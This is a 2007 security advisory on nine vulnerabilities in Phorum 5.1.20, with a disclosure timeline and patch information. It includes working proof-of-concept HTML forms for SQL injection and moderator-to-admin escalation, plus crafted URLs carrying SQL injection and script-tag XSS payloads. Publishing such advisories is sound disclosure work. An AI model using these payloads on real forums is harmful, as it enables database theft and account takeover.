Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16805
HistoryApr 20, 2007 - 12:00 a.m.

[waraxe-2007-SA#049] - Multiple vulnerabilities in Phorum 5.1.20

2007-04-2000:00:00
vulners.com
71

[waraxe-2007-SA#049] - Multiple vulnerabilities in Phorum 5.1.20

Author: Janek Vind "waraxe"
Date: 19. April 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-49.html

Target software description:


Phorum 5.1.20

http://www.phorum.org/


Vulnerabilities:
  1. critical sql injection in "pm.php" parameter "recipients"

Let's look at source code of "include/db/mysq.php" ~ line 1881 :

------------------[source code]----------------------
function phorum_db_user_get($user_id, $detailed)
{
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    if(is_array($user_id)){
        $user_ids=implode(",", $user_id);
    } else {
        $user_ids=(int)$user_id;
    }

    $users = array();

    $sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
    $res = mysql_query($sql, $conn);
    if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
------------------[/source code]----------------------

As we can see, if "$user_id" is array, then there is no sanitize against data before
using in sql query.
After some research I have found a way to use this bug for sql injection. For this,
first of all, potential attacker must have valid user account in specific Phorum-powered
website and he/she must be logged in. And then let's try this proof-of-concept html file:

------------------[PoC exploit]-----------------------
<html>
<body>
<form action="http://localhost/phorum.5.1.20/pm.php" method="post">
<input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe">
<input type="submit" name"test" value="test">
</body>
</html>
------------------[/PoC exploit]----------------------

Of course, "action" parameter must be modified to match real target.
As testing result we will see sql error message:

Unknown column 'foobar' in 'where clause':
select * from phorum_users where user_id in (1) OR foobar=123/* )

Now - this sql injection bug can be used for stealing arbitrary data from database,
including admin password md5 hash. But "useful" exploiting can be difficult and only
way seems to be "blind fishing" method.

I have written private exploit, which will get admin pasword md5 hash from database
within few minutes. So this is really critical security hole indeed! 

[[[ Kidd0z ]]] --> sorry, no public exploit from me this time :)



2. moderator can elevate his privileges to admin

Any moderator with user moderation privileges can modify ANY userdata of ANY user,
including admin's. So ultimately anyone with user moderation privileges can elevate
his privileges to admin level.

Let's test this little piece of html code:

------------------[PoC exploit]-----------------------
<html><head><title>Usermoderator2admin</title></head>
<body><center><br><br><br>
<form action="http://localhost/phorum.5.1.20/control.php?1&quot; method="post">
<input type="hidden" name="panel" value="users">
<input type="hidden" name="forum_id" value="0">
<input type="hidden" name="user_ids[]" value="2">
<input type="hidden" name="userdata[admin]" value="1">
<input type="submit" name="approve" value="Make me admin!">
</form>
</center>
</body></html>
------------------[/PoC exploit]----------------------

All parameters must be set correctly for this exploit to work.
"/control.php?1" –> "1" is forum id, where moderator has user moderation
privileges.
"user_ids[2]" –> "2" is userid of the user, who want's to get admin privileges
And of course, moderator must be logged in before using exploit.

It's that easy - you push the button - and you have admi rights!!

So where is the initial problem for this security hole?

Let's look at sourrce code of "include/controlcenter/users.php" line 29:

------------------[source code]----------------------
if(!empty($_POST["user_ids"])){

foreach&#40;$_POST[&quot;user_ids&quot;] as $user_id&#41;{

    if&#40;!isset&#40;$_POST[&quot;approve&quot;]&#41;&#41;{
        $userdata[&quot;active&quot;]=PHORUM_USER_INACTIVE;
    } else {
        $user=phorum_user_get&#40;$user_id&#41;;
        if&#40;$user[&quot;active&quot;]==PHORUM_USER_PENDING_BOTH&#41;{
            $userdata[&quot;active&quot;]=PHORUM_USER_PENDING_EMAIL;
        } else {
            $userdata[&quot;active&quot;]=PHORUM_USER_ACTIVE;
            // send reg approved message
            $maildata[&quot;mailsubject&quot;]=$PHORUM[&quot;DATA&quot;][&quot;LANG&quot;][&quot;RegApprovedSubject&quot;];
            $maildata[&quot;mailmessage&quot;]=wordwrap&#40;$PHORUM[&quot;DATA&quot;][&quot;LANG&quot;][&quot;RegApprovedEmailBody&quot;], 72&#41;;
            phorum_email_user&#40;array&#40;$user[&quot;email&quot;]&#41;, $maildata&#41;;
        }
    }

    $userdata[&quot;user_id&quot;]=$user_id;

    phorum_user_save&#40;$userdata&#41;;
}

}
------------------[/source code]----------------------

As we can see, by manipulating $_POST["user_ids"] parameter any user can
be activated or deactivated. Including admin. So - there is no checking, if target
user is allready active or has it higher privileges than moderator.
This was mistake one. Now, mistake number two.

Array "$userdata" is uninitialized. So we can "poison" that variable, if php settings
has "register_globals=on". And in this way user moderator can deliver for saving any
userdata for any user. For example - userdata[admin] carries user admin privileges.

Solution: array initializing before use and adding some security checks.

  1. sql injection in admin interface censorlist management

PoC:

http://localhost/phorum.5.1.20/admin.php?module=badwords&amp;curr=SELECT&amp;delete=1

... and we will get error message:

&lt;!-- You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near 
&#39;SELECT&#39; at line 1: DELETE FROM phorum_banlists WHERE id = SELECT --&gt;


4. sql injection in admin interface banlist management

>From source code - "include/db/mysql.php" line 3223:

function phorum_db_del_banitem($banid) {
$PHORUM = $GLOBALS["PHORUM"];

$conn = phorum_db_mysql_connect&#40;&#41;;

$sql = &quot;DELETE FROM {$PHORUM[&#39;banlist_table&#39;]} WHERE id = $banid&quot;;

$res = mysql_query&#40;$sql, $conn&#41;;

PoC: http://localhost/phorum.5.1.20/admin.php?module=banlist&amp;delete=1&amp;curr=OR

… and we will get error message:

<!-- You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near
'OR' at line 1: DELETE FROM phorum_banlists WHERE id = OR –>

  1. sql injection in admin interface groups management

Let&#39;s try to add group named &quot;war&#39;axe&quot;:

http://localhost/phorum.5.1.20/admin.php?module=groups

Edit groups / Add group --&gt; war&#39;axe

&lt;!-- You have an error in your SQL syntax; check the manual that corresponds to your
 MySQL server version for the right syntax to use near &#39;axe&#39;&#41;&#39; at line 1: 
insert into phorum_groups &#40;name&#41; values &#40;&#39;war&#39;axe&#39;&#41; --&gt;


6. XSS in admin interface groups management
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://localhost/phorum.5.1.20/admin.php?module=groups&amp;edit=1&amp;
group_id=&quot;&gt;&lt;script&gt;alert&#40;123&#41;;&lt;/script&gt;


7. XSS in admin interface smiley management
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://localhost/phorum.5.1.20/admin.php?module=modsettings&amp;mod=smileys&amp;
edit=1&amp;smiley_id=&quot;&gt;&lt;script&gt;alert&#40;123&#41;;&lt;/script&gt;


8. path disclosure in &quot;admin.php&quot; variable &quot;module&quot;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://localhost/phorum.5.1.20/admin.php?module[]=groups

Warning: basename&#40;&#41; expects parameter 1 to be string, array given in
C:&#92;apache_wwwroot&#92;phorum.5.1.20&#92;admin.php on line 57


9. GET method used for banlist editing
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

&gt;From source: &quot;include/admin/banlist.php&quot; line 47:
--------------------------------------------------
    if&#40;isset&#40;$_GET[&quot;curr&quot;]&#41;&#41;{
        if&#40;isset&#40;$_GET[&quot;delete&quot;]&#41;&#41;{
            phorum_db_del_banitem&#40;$_GET[&#39;curr&#39;]&#41;;
            echo &quot;Ban Item Deleted&lt;br /&gt;&quot;;
        } else {
            $curr = $_GET[&quot;curr&quot;];
        }
    }
--------------------------------------------------
PoC:
http://localhost/phorum.5.1.20/admin.php?module=banlist&amp;curr=9&amp;delete=1

... and banlist entry will be deleted easily.

Solution: use POST method


//-----&gt; See ya soon and have a nice day ;&#41; &lt;-----//


Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

25. march 2007 - developer first contacted
25. march 2007 - developer response
26. march 2007 - details emailed to developer
17. april 2007 - developer released new, patched version
19. april 2007 - public advisory released


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download new and patched Phorum version 5.1.22 from:

http://www.phorum.org/downloads/phorum-5.1.22.tar.gz



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to LINUX, Heintz, slimjim100, shai-tan, y3dips, Sm0ke, Chb 
and all other people who know me!

Special greets goes to Raido Kerna.

Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[email protected]
Janek Vind &quot;waraxe&quot;

Homepage: http://www.waraxe.us/


Shameless advertise:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Chopping url for easy use - http://urlaxe.com/
Kes otsib, see leiab - http://avalik.info/

---------------------------------- [ EOF ] ------------------------------------